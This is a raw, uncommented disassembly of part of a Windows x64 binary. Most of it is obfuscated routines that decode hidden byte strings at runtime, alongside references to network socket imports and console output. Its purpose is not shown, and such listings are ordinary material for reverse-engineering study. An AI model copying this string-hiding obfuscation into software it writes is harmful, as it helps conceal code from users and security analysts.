lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14004c3dd
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14004c1d0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x28]
jmp 0x14004c1d0
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
jmp 0x14004c1c0
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x5a
jmp 0x14004c150
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x24
jmp 0x14004c0d6
lea ecx, [r11 + 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x1f
movzx edi, r11b
jmp 0x14004ca6e
lea ecx, [r11 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x17
inc r9
dec r11
inc r11
jmp 0x14004c0c3
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x4d
dec r11
inc r11
jmp 0x14004c0c3
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x7d
movzx edi, r11b
jmp 0x14004cad8
lea ecx, [r11 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x47
jmp 0x14004cafd
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x11
jmp 0x14004cb00
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x25
jmp 0x14004cb3d
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x5b
jmp 0x14004cb65
lea ecx, [r11 + 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x6f
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x68
mov byte [rbp + r11 + 0x5c0], r15b
inc r11
jmp 0x14004c0c3
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x32
cmp r9, 0xa
jb 0x14004c50f
movzx edi, r11b
lea ecx, [rdi + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r15d, [rcx*2 - 0x52]
jmp 0x14004ca6e
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
cmp r8, 0x5a
jae 0x14004c95f
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14004c88c
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0xd
jmp 0x14004c535
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x14004c989
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14004c7b9
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x56
jmp 0x14004c577
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x4f
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x7b
jmp 0x14004cb65
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x45
jmp 0x14004cb3d
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0xf
jmp 0x14004cb00
lea ecx, [r11 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x27
jmp 0x14004cafd
movzx edi, r11b
lea ecx, [rdi - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x5d
jmp 0x14004cad8
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x6d
dec r11
inc r11
jmp 0x14004c0c3
lea ecx, [r11 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x37
inc r9
dec r11
inc r11
jmp 0x14004c0c3
movzx edi, r11b
lea ecx, [rdi - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
dec r15b
jmp 0x14004ca6e
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x14004c734
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x65
jmp 0x14004c5c1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004c76a
lea ecx, [r11 + 0x43]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x2b
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004c78e
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x41
jmp 0x14004cb3d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004c5c1
movzx edi, r11b
lea ecx, [rdi + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x1d
jmp 0x14004cad8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004c7d3
movzx edi, r11b
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
jmp 0x14004ca5c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004c805
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
inc r9
dec r11
inc r11
jmp 0x14004c0c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004c82e
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
jmp 0x14004cb00
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14004c852
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 6
jmp 0x14004cb65
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14004c577
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x3c
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004c8c2
lea ecx, [r11 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x43
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004c8e6
lea ecx, [r11 + 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x79
jmp 0x14004cb65
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004c90a
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x51
jmp 0x14004cb3d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14004c92e
lea ecx, [r11 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x1b
jmp 0x14004cafd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004c535
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
add r15b, 0x43
inc r9
dec r11
inc r11
jmp 0x14004c0c3
movzx edi, r11b
lea edx, [rdi - 0x17]
movzx eax, dl
and al, r10b
add al, al
movzx r15d, byte [rbp + r11 + 0x5c0]
sub r15b, al
sub r15b, 0x5f
add r15b, dl
add r15b, r10b
jmp 0x14004cad8
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x5c0]
lea r15d, [r10 + rcx]
add r15b, 0x6b
jmp 0x14004cb3d
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 4
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x62
jmp 0x14004cb00
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x2c
jmp 0x14004cafd
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
dec r11
inc r11
jmp 0x14004c0c3
movzx edi, r11b
lea ecx, [rdi + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x54
jmp 0x14004ca6e
movzx edi, r11b
lea edx, [rdi - 0x28]
mov ecx, recv
movzx eax, dl
and al, r10b
sub cl, al
lea r15d, [rcx + rcx]
add r15b, dl
add r15b, r10b
add dil, 0x1c
movzx eax, dil
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x5c0], cl
inc r9
dec r11
inc r11
jmp 0x14004c0c3
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x7c
dec r11
inc r11
jmp 0x14004c0c3
movzx edi, r11b
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r15d, [r10 + rcx]
sub r15b, 0x46
sub dil, 0x4a
movzx eax, dil
and al, r10b
mov ecx, 3
sub cl, al
add cl, cl
add cl, dil
add cl, r15b
add cl, r10b
mov byte [rbp + r11 + 0x5c0], cl
add r8, r9
movzx eax, r15b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004c0c3
movabs rcx, 0x652261a011c27f3c
add rcx, r11
movzx r10d, dl
and dl, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, dl
lea r15d, [rax + rax]
add r15b, cl
add r15b, r10b
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x30
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x5c0], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x35
add cl, r10b
mov byte [rbp + r11 + 0x5c0], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
movabs rcx, 0x7336874bb30de808
add rcx, r11
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r15d, [rcx + rdx]
sub r15b, 0x38
movzx eax, byte [rbp + r11 + 0x5c0]
add rax, r9
add r11, rax
inc r11
jmp 0x14004c0c3
add r11b, 0x22
movzx eax, r10b
and al, r11b
mov ecx, 9
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
xor edi, edi
jmp 0x14004c0c0
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea r15d, [rcx + rcx]
add r15b, r10b
add r15b, r11b
xor edi, edi
jmp 0x14004c0b0
lea rdx, [rbp + 0x15be21d]
jmp 0x14004cc3c
lea rdx, [rbp + 0xc907ea]
jmp 0x14004cc3c
lea rdx, [rbp + 0x5c0]
mov rcx, rsi
call fcn.140002380
mov edx, 0xa
mov rcx, qword [0x140174dc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov r14, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov word [rbp + 0x640], 0x3563
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x642], xmm0
mov qword [rbp + 0x652], rax
mov word [rbp + 0x65a], ax
mov r8, qword [0x140175488]
mov r9, qword [0x140175490]
nop
xor r11d, r11d
cmp r11, 0x1c
jae 0x14004d72d
movzx r10d, byte [rbp + r11 + 0x640]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x14004d724
lea rcx, [r9 + 3]
cmp r8, rcx
jae 0x14004ccea
movabs rcx, 0x3fe5a2ece9b9fd56
add rcx, r11
mov rax, r10
and rax, rcx
imul r12, rax, 0xfffffffffffffffe
add r12, r10
add r12, rcx
sub r12b, 0x5a
mov qword [rsp + 0x48], r12
jmp 0x14004cd27
lea rax, [r9 + 1]
cmp r8, rax
je 0x14004d693
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004d617
lea rax, [r9 + 5]
cmp r8, rax
je 0x14004d5db
lea rax, [r9 + 7]
cmp r8, rax
je 0x14004d5b0
cmp r8, rcx
je 0x14004d587
cmp r9, r11
ja 0x14004d71b
lea rcx, [r9 + 4]
cmp r8, rcx
jae 0x14004cd56
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x46
mov qword [rsp + 0x48], r12
jmp 0x14004cd90
lea rax, [r9 + 1]
cmp r8, rax
je 0x14004d537
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004d529
lea rax, [r9 + 3]
cmp r8, rax
je 0x14004d4e6
cmp r8, rcx
je 0x14004d4c6
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14004d2f0
nop dword [rax]
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14004d2d2
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14004d2a9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14004d283
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14004d265
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14004d24a
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14004d22f
lea rax, [r9 + 8]
cmp r8, rax
je 0x14004d214
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14004d1f9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14004d1de
lea rax, [r9 + 5]
cmp r8, rax
je 0x14004cda0
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14004d6f9
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14004d6d3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14004cf99
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14004cf74
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14004cf54
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14004d188
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14004d13e
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14004d0f7
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14004d0cc
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14004cda0
lea r8, [r9 + 0x40]
lea r9, [r8 + 4]
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14004d0b1
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14004d097
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14004d07c
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14004d061
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14004d046
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14004d027
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14004d001
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14004cfd8
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14004cfb9
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14004cda0
lea r8, [r9 + 5]
lea r9, [r8 + 0x61]
jmp 0x14004cda0
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x50
mov qword [rsp + 0x48], r12
jmp 0x14004cd90
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
mov qword [rsp + 0x48], r12
jmp 0x14004cd27
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x54
mov qword [rsp + 0x48], r12
jmp 0x14004cca6
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x73
movzx edi, r11b
jmp 0x14004d555
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0xb
inc r9
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x77
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 7
movzx edi, r11b
jmp 0x14004d4ff
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x7b
jmp 0x14004d5f6
lea ecx, [r11 - 0x25]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 3
jmp 0x14004d5f9
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x7f
jmp 0x14004d63d
lea ecx, [r11 - 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
dec r12b
jmp 0x14004d665
lea ecx, [r11 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x7d
jmp 0x14004d6b7
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x48
mov qword [rsp + 0x48], r12
mov byte [rbp + r11 + 0x640], r12b
inc r11
jmp 0x14004cc93
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
mov qword [rsp + 0x48], r12
cmp r9, 0x64
jb 0x14004d0e7
movzx edi, r11b
lea ecx, [rdi - 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r12d, [rcx*2 - 0x6a]
jmp 0x14004d555
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x4c
mov qword [rsp + 0x48], r12
cmp r8, 0x41
jae 0x14004d47c
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14004d430
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x49
jmp 0x14004d112
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
mov qword [rsp + 0x48], r12
lea rax, [r9 + r8]
cmp rax, 6
je 0x14004d4a3
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x14004d387
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x1e
jmp 0x14004d154
lea ecx, [r11 - 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x1d
jmp 0x14004d6b7
lea ecx, [r11 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x61
jmp 0x14004d665
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x21
jmp 0x14004d63d
lea ecx, [r11 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x5d
jmp 0x14004d5f9
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x25
jmp 0x14004d5f6
movzx edi, r11b
lea ecx, [rdi + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x59
jmp 0x14004d4ff
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x29
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea ecx, [r11 + 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x55
inc r9
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
movzx edi, r11b
lea ecx, [rdi + 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x2d
jmp 0x14004d555
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14004d314
lea ecx, [r11 + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x3f
jmp 0x14004d1a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004d338
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x71
jmp 0x14004d6b7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004d35c
lea ecx, [r11 + 0xf]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x69
jmp 0x14004d5f6
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004d1a8
movzx edi, r11b
lea ecx, [rdi + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x19
jmp 0x14004d4ff
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004d3a1
movzx edi, r11b
lea edx, [rdi - 0x7c]
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14004d543
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004d3b8
lea edx, [r11 - 0x58]
mov ecx, 0x34
jmp 0x14004d5b9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14004d3df
movzx edi, r11b
lea ecx, [rdi - 0x46]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x16
jmp 0x14004d4ff
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14004d403
lea ecx, [r11 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x12
jmp 0x14004d5f9
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14004d159
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
jmp 0x14004d6b7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14004d454
lea ecx, [r11 + 0x41]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
add r12b, 0x39
jmp 0x14004d6b7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14004d117
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x45
jmp 0x14004d665
movzx edi, r11b
lea edx, [rdi - 0xb]
movzx eax, dl
and al, r10b
add al, al
movzx r12d, byte [rbp + r11 + 0x640]
sub r12b, al
add r12b, 0x4d
add r12b, r10b
add r12b, dl
jmp 0x14004d4ff
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x640]
lea r12d, [r10 + rcx]
sub r12b, 0x31
jmp 0x14004d63d
lea edx, [r11 - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
jmp 0x14004d6b7
movzx edi, r11b
lea ecx, [rdi + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x3e
sub dil, 2
movzx eax, dil
and al, r10b
mov ecx, 7
sub cl, al
add cl, cl
add cl, r12b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x640], cl
jmp 0x14004d5f6
lea edx, [r11 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14004d5b9
movzx edi, r11b
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, r10b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
sub dil, 0x14
movzx eax, dil
and al, r10b
add al, al
sub dil, al
sub dil, 0x74
add dil, r10b
mov byte [rbp + r11 + 0x640], dil
inc r9
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r12d, [r10 + rcx]
sub r12b, 0x4a
inc r9
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea edx, [r11 - 0x2c]
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, dl
and al, r10b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
dec r11
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r10b
add r8, r9
movzx eax, r12b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
movabs rcx, 0xd0b90d7e1c1ab98c
add rcx, r11
movzx r10d, dil
and dil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_22
sub al, dil
lea r12d, [rax + rax]
add r12b, cl
add r12b, r10b
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x70
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x640], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x51
add cl, r10b
mov byte [rbp + r11 + 0x640], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
jmp 0x14004d6b7
movabs rdx, 0x1ad6c672a52f9168
add rdx, r11
movzx eax, dil
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dil
add r12b, dl
movzx eax, byte [rbp + r11 + 0x640]
add rax, r9
add r11, rax
mov qword [rsp + 0x48], r12
inc r11
jmp 0x14004cc93
sub r11b, 6
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r12d, [rcx + rcx]
add r12b, r11b
add r12b, r10b
mov qword [rsp + 0x48], r12
